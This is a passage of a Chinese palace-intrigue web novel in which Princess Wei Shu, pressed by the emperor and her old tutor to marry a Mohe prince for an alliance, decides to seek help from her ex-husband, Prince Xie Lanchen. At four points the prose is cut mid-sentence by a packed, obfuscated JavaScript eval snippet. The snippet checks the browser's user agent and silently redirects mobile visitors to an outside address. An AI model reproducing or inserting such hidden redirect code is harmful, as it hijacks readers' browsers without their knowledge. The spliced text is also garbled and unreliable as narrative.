周太傅昨天才收到永乐宫送来的寿礼,皇上今天便单独召见他,询问他对和亲的看法,想是已经知道了崇宁公主和自己私下联络的事。 周太傅并无慌乱,而是诚恳道:“我大安公主金尊玉贵,然夷人粗鄙,不通诗书,臣以为靺鞨王子与公主并不般配。况臣还听说,靺鞨王子入京以来,日日流连瓦舍妓馆,不到三月的时间,已经买下十几个美婢,实非公主良缘。” 元和帝却道:“靺鞨王子自幼学习大安诗书,虽确实于此不大精通,然阅读书写无碍,不至于被称粗鄙。至于王子流连妓馆,年轻人风流些也是常事,待他成婚后,自然就会收心。” 元和帝话里话外,已然毫不掩饰自己想要答应和亲的意思。 周太傅不由在心里叹了口气,道:“崇宁公主到底是先皇唯一的子嗣,若送公主远嫁番邦,先皇在天之灵恐不能安心。” 元和帝眸光微闪,没顺着周太傅的话提及先皇,而是突然问周太傅道:“太傅可知朕为何要扶持靺鞨?” 周太傅答:“是为西北谢家。”此事朝臣尽知,周太傅也是支持利用靺鞨遏制谢家的。 元和帝点头道:“不错。太傅身为三朝元老,应是比朕更清楚,谢家祖上便是造反起家,至今贼心不死。朕虽有幸承袭皇位,却夜夜不得安眠,生怕哪天祖宗基业便会断送在朕手里。” 当初契丹一统草原后,曾一举侵占大安十几个州郡,大安束手无策,当朝的元初帝郁郁而终,留下遗训:后世有夺回失地者,封王。 几年后,谢兰臣的曾祖父率领族人,夺回了被侵占的十二州郡。然之后继位的元祥帝却因忌惮武将,加之受奸佞蛊惑,非但没遵照遗训,为谢兰臣的曾祖父封王,反而寻了个莫须有的罪名,要拿谢曾祖回京问罪。 结果便是,谢家打着清君侧的旗号反了。 朝廷面对比契丹还要凶猛的西北军,毫无招架之力,谢家率兵一度打到了丹水河畔。 元祥帝惊惧不已,生怕谢家真打到神京来,只能处死佞臣,又为谢曾祖正名,但却在封王时耍了个小心机,追封谢曾祖已故的父亲为临阳郡王,封谢曾祖为靖西侯,世袭罔替。 元祥帝之所以敢如此,一是时人极重孝道,把谢曾祖的郡王之位让给他父亲,他便是不乐意,也不能表现出来;二则,西北军不擅水战,也缺少能渡过丹水河的大船,加之又有契丹在西北军后方蠢蠢欲动,谢家想继续往前打,也不大可能,于是双方便各退了一步。 之后便是谢家盘踞西北,一点点把西北据为己有。 因此说谢家是造反起家的,也不算错。 元和帝看向周太傅道:“谢家可畏,大安与靺鞨结盟,势在必行。” 而两国结盟,最好最稳固的手断便是联姻。 周太傅也深知其理,但还是说道:“皇上英明神武,决断自不会有错,只是宗室里那么多适婚的郡主公主,唯独崇宁公主,是最不适宜的和亲人选。” 元和帝苦笑一声:“太傅不会以为,是朕故意针对崇宁吧?求娶崇宁完全是靺鞨王子的意思,朕倒宁愿他看上的是其他公主,哪怕是朕的亲公主都行,可他却指名道姓只要崇宁一个。” 头一句话,元和帝并没有撒谎,确实是靺鞨王子主动要求求娶魏姝的。他当时也十分意外,不过倒省了他不少麻烦。 至于后一句话,靺鞨王子是不是真的非魏姝不娶,换其他公主和亲行不行,他却没问过对方,也不想想问。 元和帝继续道:“不防告诉太傅,朕得到密报,契丹痛恨靺鞨家奴造反,有意与谢家结成联盟,先除靺鞨家奴,再联合伐安,最后二分天下。西北本就兵强马壮,若再加上契丹的骑兵,便是如虎添翼,大安安能抵挡?” 周太傅头一次听说密报的事,一时惊愕失色。 他并不怀疑密报的真实,一国之君不会拿家国大事玩笑,若契丹和西北果真联手,近几代帝王皆重文轻武,大安早已没有能领兵打仗的将领了! 元和帝又说道:“朕当然知道靺鞨王子配不上崇宁,却也不得不委屈崇宁,但朕要她去和亲,不是为了私心,而是为了大安,哪怕朕要为此背负骂名。” 他一副对周太傅推心置腹的样子:“朕知道崇宁找过太傅,也知道太傅清正明达,所以朕想知道太傅会怎么选?是选择顾及师生情谊,还是选择保全家国大局?” 周太傅翰林出身,三朝元老,门生众多,受天下读书人敬仰,而天下舆论又多受读书人搅弄。周太傅的心向着谁,读书人的喉舌便也会向着谁,他和魏姝的这场对峙,谁便能立于上风。 不得不说,魏姝很聪明,满朝文武她谁都没求助,独独选中周太傅,确实是很好的一步棋,然而,棋局最终如何,却是要看在周太傅心里,到底是先皇遗孤重要,还是家国大局更重要…… * 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058036|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >同一时刻,备受周太傅和元和帝忌惮的谢兰臣,正在专门接待使臣的会同馆里,安安静静地批阅公文。 他一袭水浅葱的衣衫,手持朱笔,端坐于案前,细碎的阳光透过窗棂,洒在他俊美的侧脸上,为眉眼增添一股缱绻温柔,丝毫不见元和帝口中狼子野心的模样,倒称得上一句如玉君子。 新上任的嘉王府长史谢闵,立在一旁,却看得眼皮直抽。 只因案上的每份文书,谢兰臣只扫过一眼,便提笔在上头画圈或是叉,以示准允或者驳回,短短几息就批复好一份,速度快到谢闵忍不住怀疑他只是在乱画,根本没有看文书上的内容。 谢兰臣一边批复公文,一边还能一心二用,见谢闵迟迟没有离开,便出声询问:“还有什么事?” 谢闵顿了一下,才犹豫着开口:“卑职打听到一些消息。” 谢兰臣头也不抬地嗯了一声,示意他接着往下说。 谢闵道:“靺鞨王子求娶崇宁公主,大安皇帝有意应允。” 他们昨天才到达神京,一路上积累的公文实在太多了,谢兰臣朱笔不停,又敷衍地唔了一声:“需要王府送贺礼吗?这些人情往来,你裁度着办便是。” 谢闵敢肯定,谢兰臣根本没有记起来崇宁公主是谁,不得不又重复一遍:“卑职是说,靺鞨王子要和王爷您的前妻成婚了。” 这回,谢兰臣手里的朱笔顿了顿,接着便在面前的公文上打了个大大的叉,道:“崇宁公主的眼光真是越来越差了,怎么看上一个秃子?” 靺鞨和契丹人都有髡发的习俗,也就是把头顶剃秃,只留边缘一圈的头发,说实话,便是再俊朗的人,配上这样的发型,也有点让人不忍直视。 谢闵却并不是要和谢兰臣谈论崇宁公主的眼光,他又说道:“王爷您曾差点射杀靺鞨王子,靺鞨王子视您为死仇,卑职还探听到,他之所以放着那么多的未婚公主不要,偏偏要娶崇宁公主,是想借公主羞辱您。” 谢兰臣不解:“我和崇宁公主早已经和离,两不相干,这算哪门子的羞辱?” 谢闵回道:“崇宁公主虽然是您的前妻,但多少沾个‘妻’字,您这么多年又一直没有再娶,再加上小郡王……” 说到小郡王,他的声音突然变得又低又含混,掩饰地干咳了两声,才继续道,“他们那帮子草原人,每次掠夺其他部落的时候,最爱做的就是杀死部落的男人,再霸占他们的女人和财产……” 听到这儿,谢兰臣终于从公文中抬起头:“所以,阿不罕是看上了我的绿头巾?” 5. 可笑 谢闵一时无语,不知道谢兰臣是怎么得出这么离谱的结论的。 就算靺鞨王子确实想夺走他的一切,应该也不会包括他的绿头巾。 偏谢兰臣说这句话时还十分坦荡自若,仿佛那个被戴了绿头巾的人不是他,或者被戴绿头巾只是什么稀松平常的小事。 谢闵至今都有些拿不准,谢兰臣对自己被戴绿头巾是个什么态度。 说他在意吧,从头至尾,他都没表露出任何怨恨是憎恶的情绪,也没说过崇宁公主一句坏话,要不是他和崇宁公主统共只见过一面,谢闵都要怀疑他是不是对崇宁公主爱得深沉了。 可要说他不在意,哪有男人真不在意这种事的? 谢闵还记得,谢兰臣刚得知小郡王出生那会儿,虽然没有明说什么,但却在打契丹的间隙,亲手雕刻了一尊鬼子母,打算作为小郡王的诞生礼。 鬼子母,是佛门中专门护持幼儿的护法神。 然而,还没等鬼子母雕好,崇宁公主的和离书先送到了,随和离书一起送来的,还有几大车的赔礼。 虽然崇宁公主只说这些是赔礼,没说赔的是什么,但是联系当时的传言,很难不让人猜想是和小郡王的身世有关。 不过谢兰臣还是认认真真地雕完了鬼子母,让人送去了神京,理由是雕都雕一半了…… 谢闵从回忆里回过神,见谢兰臣已经重新批复起公文,显然根本没把靺鞨王子的事放在心上,他便也就此揭过,又说起旁的:“还有一件事,自打咱们昨天在会同馆安置下,崔禄就跑了个没影,直到现在都没回来,需不需要卑职找人悄悄跟上他?” “不用,”谢兰臣声音懒懒的,“崔禄是母亲的人,此次来神京为母亲办事,既然有意躲开我们,便是母亲有事不想让我知晓,那我就应该不知晓,这才是身为人子的孝道。” “可是……” 谢闵还想再说,却被谢兰臣打断道:“我们这次不会在神京待上太久,你如果实在太闲,就拿着临行前如夫人给的单子,照单采买去。同样的东西,别忘了给母亲也买一份。” 谢兰臣此行来京,是受加封礼的。 他被封嘉王的圣旨早已下达,但按照规矩,需得进京,当面受皇帝加封,是为庆贺,亦为威慑。 谢兰臣的加封礼就在三天后,所以才说不会在神京待太久。 而谢兰臣口中的“如夫人”,是他的生母;“母亲”则是正房嫡母,两人一向不怎么对付。 谢闵跟在谢兰臣身边多年,对两位夫人的脾性也略有了解。 如夫人专爱华丽鲜艳的东西,听说他们要来神京,便特意列出了一长串的单子,要他们采买,单子上也多是些富丽华贵的首饰或器具,而正夫人礼佛多年,衣食都很朴素。 虽然照着如夫人的单子,给正夫人买同样的东西,是公平孝敬的意思,可这些东西必然是正夫人用不上的;而如夫人一向掐尖要强,见自己想要的东西,正夫人也有,必然也会心中郁愤不喜。 这些,嘉王真的没想到吗? 这个疑问只在谢闵脑海里兴起了一瞬,便被他迅速压了下去。 他原是谢家的旁支,算起来谢兰臣还应该叫自己一声堂兄,但谢兰臣身边从来不缺堂兄弟,更何况一个不知道隔了几支的旁支,可最后却只有他留在了谢兰臣身边。 不为别的,只因为他比旁人更懂得分寸,知道什么话该问,什么不该问。 他恭顺地应了一声,便退出屋子,准备采买事宜。 只可惜今日神京的天气不好,早起天就阴沉沉的,刚过晌午,就淅沥沥地下起了小雨,谢闵的采买计划不幸夭折。 永乐宫里,昭儿也因为小雨,不能出去踢球,只好抱着一只金丝虎猫在炕上玩。 那只金丝虎猫瞧着十分威豪,却乖乖地窝在昭儿怀里,一动不动,近了才发现,竟不是只真猫,而是一只陶塑,却栩栩如生,逼真到身上毫毛毕现。 小孩子大多喜爱猫猫狗狗,魏姝却怕昭儿年纪太小,不防备被猫狗咬伤,便只给他玩假的陶塑。 猫虽是假的,昭儿依然玩得兴致勃勃,试图拿自己最爱吃的马蹄糕喂它,见它不吃,便自己多吃了半块儿,当做替猫吃的。玩腻了他就趴在魏姝怀里歇一会儿,不哭也不闹。 魏姝不知道别的一岁多的孩子是怎样的,但她的昭儿自小就很乖,也很让人省心,只除了一直不会说话。好在太医检查他的嗓子没问题,魏姝这才稍稍放下心。 魏姝陪着昭儿嬉闹了一会儿,忽听殿外宫人通报道:“周太傅求见。” “快请进来。”魏姝神色微动,让人先把昭儿抱了下去。 周太傅很快入殿见礼:“老臣见过公主。” “老师不必多礼。”魏姝扶周太傅起身的时候,忽然听见一声极轻的叹息。 她心口蓦地一沉,正常与周太傅寒暄后,便问起送去的寿礼周太傅喜不喜欢。 那是一方仿古的瓦砚,不算贵重,胜在雅趣。周太傅为人清正,太贵重的东西他反而不喜。 “公主有心了,臣十分喜爱。”周太傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058037|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答的却有些心不在焉,反而忽然叙起旧来,“提起笔砚,倒让臣想起为公主授课的时候,不知公主可还记得臣给公主上的第一堂课?” 魏姝道:“勉强还记得。” 魏姝五岁时,周太傅开始为她授课。因为当时年岁小,前几堂课周太傅并未直接讲书,而是由浅入深,先讲了一些粗浅又有趣的道理,而第一堂课,讲的是家与国。 魏姝说是勉强记得,实际看着周太傅,近乎完整地复述出了他当时在课堂上的话:“老师说,父母妻子田地房屋是为家,万万家则为国,先有国,再又有家,覆巢之下无完卵,故有匹夫以身报国。” 听着魏姝一字一句念出十几年前的话,周太傅脸上露出一丝怀念和不忍,但他还是又问道:“匹夫尚有报国之志,公主呢?” 他向魏姝透露了密报之事:“万一谢家真和契丹联手,大安危矣,如今只有同靺鞨结盟,才能化解危机。靺鞨王子看中公主,也并非是受人撺掇,而是王子确实钟情于公主,非公主不娶。如今大安的安危,全系在公主一人身上。” 是的,他此次进宫,是为劝说魏姝主动答应和亲。 不是他不怜惜魏姝,而是不得不以大局为重。 他劝魏姝同意和亲,也不是为讨好元和帝,而是怕那些对帝位尤不死心之人,会借此生事,以元和帝逼嫁先帝之女为由,引发内乱。 眼下大安外有忧患,内里无论如何也不能再乱起来。 他自认还算了解自己的学生,魏姝虽然骄纵,偶尔言行出格,但还是知理通情的。 从周太傅突然提起家国,魏姝就猜到了他要说什么,虽然心里失望,但对方毕竟是自己的老师,她安安静静地听完,像平时在课堂上那样,同老师分辩道:“我最近看了不少有关西北和夷族的风俗游记,里面都说到夷人野蛮,缺少教化。尤其是靺鞨人,族内懂汉文的人屈指可数,他们根本不知道何为仁义礼信,做事全凭喜好,大安与这样的人合作,无异于与虎谋皮。” 周太傅却道:“与虎谋皮,还是行之有效,这全要靠公主。公主是臣的学生,臣知公主心思才智非寻常女子可比,若是旁的公主去和亲,臣或许还会担心,但若是公主你,定能使两国结盟稳固。” 顿了顿,他又说道:“臣想便是先皇还在,也是不忍见大安社稷动荡的。” 魏姝听他提起父皇,终于忍不住讥笑出声:“社稷江山不能女人继承,甚至连外孙都不能随外祖的姓,可轮到稳固江山的时候,却记起女人来了,老师你道可笑不可笑?” 6. 雕像 周太傅对上魏姝泛着薄怒的双眼,一时无言。 他被世人谬赞一声大儒,不敢称博古通今,但勉强也算博闻强识,辩才也不弱,想要辩倒魏姝的质问并不难,他甚至还能引经据典,论证女子为何不能继位,以及和亲乃公主责任所在。 然而辩得再好,也不过是遮掩罢了。 事实是,和亲一事于大安有益,于元和帝有益,甚至于靺鞨等等都有益,唯独于去和亲的魏姝,确实不公。 周太傅重重叹了口气,脸上浮现出惭色。 反倒是对面的魏姝,冷静下来后,忽然说道:“老师不必忧心,我知道自己该做什么,方才不过有些不甘心,一时发泄几句罢了。” 周太傅都默默做好了无功而返的打算,不防魏姝突然转变态度,不禁犹疑道:“公主的意思是……” 魏姝道:“反正无论如何也躲不掉,再闹下去也没意思,太傅也说了,这也是父皇的意愿,我会做好父皇想让我做的事的。” 周太傅前头劝魏姝的时候,说过若先皇还在,也是不忍见大安社稷动荡的。所以,公主这是答应和亲的意思…… 周太傅顿感欣慰,同时也愈加愧疚:“公主大善,臣会请求皇上正式为小郡王加封,有了正式的封号和俸禄,便是公主不在小郡王身边,也可宽心了。” 顿了顿,他又解释道:“靺鞨到底比不上神京,小郡王还是留京抚养教育为好,臣也会代公主好好照顾小郡王,绝不使公主有后顾之忧。” 魏姝极淡地笑了笑,说的好听,不过是要把昭儿留京为质,以防她心有怨愤,和亲后反而鼓动靺鞨对付大安罢了。 她点点头道:“那我便提前谢过老师了,不过我还有一事想求老师帮忙。 “我想请老师劝说皇叔,允许我出宫,好趁这段时间,带昭儿在神京四处走走,一为陪伴昭儿,以全母子之情,二则,我也最后再看一眼神京的风光人物,毕竟,一别之后,兴许再也没有机会回来了。” 魏姝在宫外是有自己的公主府的,父皇驾崩后,她曾几次自请出宫,可惜都被拦了下来。 周太傅觉得魏姝的这个请求也算正常,没怎么犹豫便应承下来:“公主放心,臣稍后便会向皇上说明此事。” 魏姝拜谢:“有劳太傅了。” 周太傅辞而不受,看着魏姝欲言又止半晌,最后到底什么也没说,反朝魏姝深深拜了一拜,告退而去。 魏姝自然明白他最后一拜的意思,是感谢自己选择了顾全大局。魏姝却在心里对他赔了个不是。 她还是不想认命。 殿内,织云看着周太傅离开的背影,愤愤不平道:“周大人不帮公主说情也就算了,竟还反帮着外人劝公主同意和亲,真是白费了公主每年为他悉心准备的寿礼!” 魏姝道:“不过立场不同罢了,太傅是朝中为数不多的忠正之臣了。” 织云看出魏姝不想多说此事,只好忍气止住话头,见桌上的茶冷了,便道:“奴婢给公主添杯热的来。” 她捧了凉茶出去,却半晌不见回来。 魏姝听见殿外忽然响起一阵喧闹声,便出声问道:“外头怎么了?” 门口值守的宫女立马应道:“好像是织云姐姐和琢玉姐姐吵起来了。” 琢玉也是永乐宫的大宫女,平日便是她和织云一起贴身伺候魏姝。 魏姝这几日烦心和亲的事,一直没留意,这会儿听宫女提起琢玉,才发觉最近几天都是织云在殿内贴身伺候,倒是没怎么看见琢玉。 她略微蹙了蹙眉,对宫人吩咐道:“去把她们两人叫来。” 宫人应了一声,很快织云和琢玉便一齐跪到了殿内。 “为何争执?”魏姝问道。 琢玉心虚地垂下头,不敢答话。 织云则冷笑道:“咱们的琢玉姑娘攀上高枝了,不知道什么时候认了皇后宫里的冉嬷嬷做干娘,刚才皇后宫里来人传话,要把琢玉调去皇后宫里伺候呢!” 说完又狠狠啐了一口:“贪生怕死,背主忘恩的东西,不就是怕陪嫁去靺鞨吗?皇上还没给公主赐婚呢,你倒先跑了!” 琢玉哭道:“公主,奴婢再过两年就能放出宫了,实在是家里还有母亲和幼弟要照顾,离不得奴婢……奴婢自知愧对公主,请公主责罚奴婢吧!” 织云嗤了一声:“你现在可是皇后娘娘的人了,打狗还要看主人呢,谁敢罚你!” “奴婢该死!”琢玉也不分辩,只一个劲儿地朝魏姝磕头,砰砰砰地十分用力,才几下额头上便见了血。 魏姝皱了皱眉,阻止她道:“够了,收拾东西去皇后宫里吧。你能找到好去处,我不会不放人,不用磕得满头是血,别人还当我连个奴婢都要和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058038|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇婶抢,众人皆知皇婶视我如己出,这要让御史知道,又该多给我安一份不孝的罪名了。” 琢玉身体微僵,期期艾艾地道了谢,这才退出去。 魏姝又提高声调,让外头的人也能听见她的声音:“其他人也一样,不想留在永乐宫的,就告诉张公公一声,自谋去处吧。” 说罢,她又看向面前的织云:“周太傅今日的话你也听到了,良禽择木而栖,你如果也想走,我可以求皇叔,提前放你出宫。” 织云红着眼摇头:“奴婢不走,奴婢十来岁就跟着公主,因着公主,这辈子不知道享了多少旁人享不到的福,见识了多少旁人见识不到的东西,这辈子也够了,前头就是刀山火海,奴婢也还跟着公主。” “能好好活着,谁愿意刀山火海呢?”魏姝轻叹一声,“罢了,你想留下,我也不会撵你走,快别哭了。” 她安慰了织云几句,把人劝住,又对织云吩咐道:“我记得嘉王曾经给昭儿送过一份贺礼,你去找来。” 见魏姝主动提起嘉王,织云心有疑惑,但还是依言翻出往年的礼单,去库房翻找。 只是库房的东西实在太多,大约嘉王的那份贺礼也不是什么特别贵重的东西,当时也没得到公主中意,便不知被放到了哪个角落里,织云召集了十来个人,翻找了近两个时辰,才算找到。 “是一尊玉雕的鬼子母。”织云把东西捧到魏姝面前。 只见雕像是一个坐于椅上的贵妇人,头戴凤冠,身穿敞袖圆领宝衣,一手持宝扇,另一手抱一小孩。雕像一尺来高,所用的玉石水头不错,上头妇人和小孩的五官也都很灵动,算是上品。 只是,织云看看雕像,又看看魏姝,道:“奴婢怎么瞧着这雕像有点像公主呢?” 魏姝也看出来了,她不但看出雕像上的妇人像自己,还看出来,那妇人手里抱着的孩子也有些像昭儿。 礼单上有写明,这尊鬼子母乃谢兰臣亲手雕刻。 虽然谢兰臣并没有见过昭儿,但昭儿恰好和她像了五六成,想是谢兰臣照着她的模样臆想了昭儿的样貌,又照着她和昭儿雕刻了这尊鬼子母。 魏姝的目光久久落在雕像的脸上,思忖着谢兰臣当时送这样一件贺礼到底是什么意思,片刻后,她忍着雕像和自己过于相像的不适,对织云道:“找个清静的地方,先供起来吧。” 7. 以己度人 不知周太傅是怎么劝说元和帝的,第二天,魏姝便被允许出宫,暂住公主府。魏姝也不耽误,立刻便叫人开始清点收拾东西。 与此同时,还没消停两天的后宫,一夜之间又有了新的传言,到处都能听见宫女太监们凑在一处叽叽咕咕: “你们可知道,永乐宫的人为何最近总往藏书阁跑?是因为崇宁公主突然爱上了塞外风光,才特意叫人搜罗各种有关塞外的志记,读完之后,她还十分遗憾地同左右说:‘塞外壮美,可惜不能得见。’” “你又不是崇宁公主跟前伺候的,怎么可能连公主说了什么都知道?” “自然是有在公主跟前伺候的人亲口说的,被我听见了,还有,公主还说夷人虽然野蛮,但并不拘束女子,她十分羡慕外族女子能像男子一样抛头露面呢!” “咱们这位公主自来便不爱循规蹈矩,这是终于找到志趣相投的了。” “别的公主一听说要与外族和亲,都怕得不行,我怎么瞧着崇宁公主非但不怕,还十分向往呢?” “正好靺鞨王子想求娶崇宁公主,这不刚好凑成一桩美事?” 织云去了趟内侍省,询问公主出宫的车马事宜,回来路上恰好听到这些闲言碎语气,当即气得黑了脸,回到永乐宫抱怨道:“肯定是琢玉那个叛徒在背后弄鬼,卖主求荣的东西!公主就算真随口说过那些话,也绝没羡慕向往靺鞨的意思!” 魏姝听了,表情反倒很平静。 皇叔同意她出宫的前提,便是她答应与靺鞨王子和亲,眼下的传言不过是提前造势,好让她之后的主动和亲显得不那么突兀罢了。 若不是背后有人推波助澜,流言怎么可能一夜之间便传遍整个皇宫?想是要不了多久,皇叔便会为她和靺鞨王子正式赐婚。 后天便是嘉王的册封大典,大典过后,皇叔会在宫中设宴,同时款待嘉王和靺鞨王子。 魏姝猜测,皇叔十有八九便会选择在这场宫宴上提出和亲,届时一切便无可更改了。 留给自己的时间不多了,魏姝没时间在意这些流言,她对织云道:“随他们去说,反正我们都要离开了,车马备好了吗?” 织云闷闷地回道:“都已好了,随时能出发。” 魏姝点点头,带着昭儿简单用了些午膳,便坐上了回公主府的马车,但只带了一小部分的家当。 实在是魏姝库房的东西太多,不是一两日能收拾得完的。 先皇在时,底下进上来的好东西,至少半数都被先皇赏给了魏姝,十几年攒下来很是可观,说句大话,就是如今皇上私库里的东西,都不一定有魏姝的三成多。这次便只带上了魏姝日常所用的,其他的留人慢慢收拾装点,稍后再送去公主府。 按例,公主出行,沿路需清道净街,魏姝却不想张扬扰民,便把仪仗都省了,只留下龙禁尉护送。 昭儿长到这么大,还是头一次出宫,见到市井上的任何东西都觉得新奇,小人儿趴在马车的窗户上,不停往外张望。 织云和奶娘也在马车上照顾,两人有意引逗昭儿说话,便一边为他介绍外头的事物,一边刻意放慢语速,重复地说一些简单的词句。 也不知是引导起了效用,还是昭儿太过兴奋,马车路过一群耍百戏的人时,昭儿竟然跟着街上那些看百戏的孩子们一起“哇”了一声。 这一声虽然不大,却口齿清晰,绝不是小孩子还不会说话时,发出的那种无意识的音节。 “小郡王开口说话了!” 马车上的几人都听见了,顿时激动起来,织云和奶娘又哄昭儿叫“娘”,可惜昭儿却无论如何也不肯再开口了。 奶娘安慰魏姝道:“小孩子刚开口说话是这样的,需得慢慢来,不过一旦开口说了头一句,离口齿伶俐就不远了。” 虽然没能听见昭儿叫娘,魏姝心里仍然很高兴。她揽过昭儿道:“昭儿喜欢看百戏吗?回头娘亲叫人买下一班人,天天耍给你看好不好?” 昭儿虽然比一般的孩子说话晚,人却很聪颖,大人日常说的话,他都能听懂。 昭儿意犹未尽地看着离得越来越远的百戏,想了想,伸出自己的小手,认真地数出三根手指,举到魏姝面前。 魏姝当即笑道:“好,别说多买两班,就是多买二十班,每个月不重样地演给你看都使的。” 昭儿也跟着开心地笑起来,右边脸颊上露出一个浅浅的酒窝,让他多了几分狡黠。 魏姝继续陪昭儿看街上熙熙攘攘的人群,耳边却忽听见有人喊了一声:“谢公子!” 她下意识心头一紧,朝声音传来的方向望去,便见一个身形颀长的男子,转身走进了一间香粉铺子里。 魏姝只来得及看清对方一身的青色华服,以及小半张侧脸,竟然和她印象中的谢兰臣有几分相似。 但旋即她又觉得,一定是自己看花了眼,谢兰臣堂堂一个王爷,怎么可能会独自出来采买香粉?大约是昨晚自己想谢兰臣想的太多,才会一听到有人姓谢,便觉得是谢兰臣。 魏姝很快便移开目光,又看向了别处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058039|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主府离皇宫并不远,马车穿过街市的时候却多花了些时间,两刻钟后,魏姝等人才到达府门前。 这些年,魏姝虽然不住在公主府,但府里一直留有人看守打扫,此次住进来,倒不用多费力收拾。 织云正带着一群婢女帮魏姝布置寝室,张公公忽然急匆匆地走了进来,进门先对魏姝隐晦地点了点头。 魏姝挥退婢女,张公公便迫不及待道:“老奴都打听到了。” 方才出宫时,张公公在宫门口便和魏姝分开,悄悄去了会同馆,打听嘉王这些天的行迹。 他道:“嘉王这两天一直待在会同馆里,直到今天早上才和随从一起出了门,并不知道是去了哪里,不过昨天嘉王的随从,向会同馆的人打听了不少神京卖首饰香粉有名的铺子,大约今日出门便是和这些有关。老奴还打听到,他们留话让会同馆准备了他们的晚膳,应是晚膳前便会回去。” 听张公公提到香粉铺子,魏姝不由又想起了街上看到的青衣男子,该不会那人真是谢兰臣吧…… 魏姝却没时间细想,她看了眼快要日落的天色,立刻唤织云进来为自己梳头更衣。 她要尽快见谢兰臣一面。 这是她最后的指望了。 以皇叔对谢家的忌惮,谢兰臣本该是她最佳的求助对象,只可惜两人当初的婚事本就十分敷衍,和离的时候闹的也不太好看,主要是谢兰臣没少因为此事被人笑话。 魏姝以己度人,觉得比起帮她,谢兰臣或许更乐意落井下石,看她的笑话。 不是到了走投无路的地步,魏姝不会去求他。 好在那尊鬼子母的雕像,多少给了她一丝丝希望。 算起来,她统共只和谢兰臣见过一面,昭儿出生的时候,时间又过去了将近一年,谢兰臣却还能清楚地记得她的长相,甚至愿意亲手雕刻出来。 魏姝再次以己度人,或许就像自己之所以至今还清晰记得谢兰臣的长相,是因为谢兰臣简直像是照着她的喜好长的,每一处五官都完美契合她的心意一样,兴许谢兰臣也是喜欢——至少是喜欢过自己这张脸的吧…… 另一边,织云进屋后,从刚收拾好的箱笼里,照旧找出了一件素衣。 魏姝虽然除了孝,但是这段时间在穿着打扮上,依然讲究素净,几乎不施粉黛。 只是这次,她却对织云摇了摇头:“挑几件锦服出来,越华丽越好,另外,我要上妆。” 新婚当晚,谢兰臣见到的她,便是锦罗玉衣,富丽华妆。 8. 认爹 五六个婢女围着魏姝,分别为她洗脸更衣,梳头上妆。 半个时辰后,桌上的铜镜里映出一张昳丽的面庞,云鬓峨眉,丹唇皓齿,灼如春桃。 魏姝又挑了一顶累丝点翠嵌头冠,对镜装戴好后,又吩咐婢女把昭儿抱来,也给他换套新衣裳。 昭儿刚一进屋,就对着镜子前的魏姝呆了呆。自打他懂事起,还从没见魏姝打扮得这么隆重华丽过,一时有些不敢认。 直到魏姝唤了他一声,听到熟悉的声音,他才慢半拍地哇了一声。 下午在马车上,任织云和奶娘如何哄他,他都不肯多开口一句,这会儿倒活学活用起来了。魏姝不觉好笑,一边亲手为昭儿整理头发,一边柔声对他道:“过会儿娘亲带你去找你爹爹,好不好?” 说完,又想到自己之前从没在昭儿跟前提过“父亲”“爹爹”这样的字眼,伺候的宫人们也常有意识回避此类话题,怕昭儿不能明白“爹爹”的意思,便又细细说道:“每个孩子都有自己的爹爹和娘亲,像你皇祖父,便是我的爹爹,你的爹爹因为一些原因,之前不和我们住在一起,最近他恰好来了神京,还升了爵位,咱们一起去给他送贺礼庆祝好不好?” 昭儿模模糊糊懂了个大概,乖巧地对魏姝点点头。 不久,张公公又抬了个大箱子进来,里头装的是临时为嘉王准备的贺礼。 张公公拿着礼单,念一个名录,便从箱子里取出对应的器物,让魏姝过目。 贺礼统共选了十二件,有玛瑙珊瑚,象牙玉髓,字画古玩,和一套裂纹十分罕见的冰裂纹酒器。 魏姝依次看过,道:“把那把玉如意换了,如意的样式没什么新奇的,换成我珍藏的那尊芙蓉石蟠螭耳盖炉。” 张公公却迟疑道:“芙蓉石质脆,不宜雕刻大件,那么大的盖炉十分难得,公主又喜欢,不如再换别的?” 魏姝摇摇头:“既是找人求情,自然要送最好的东西才能表达诚意,去换了吧。” 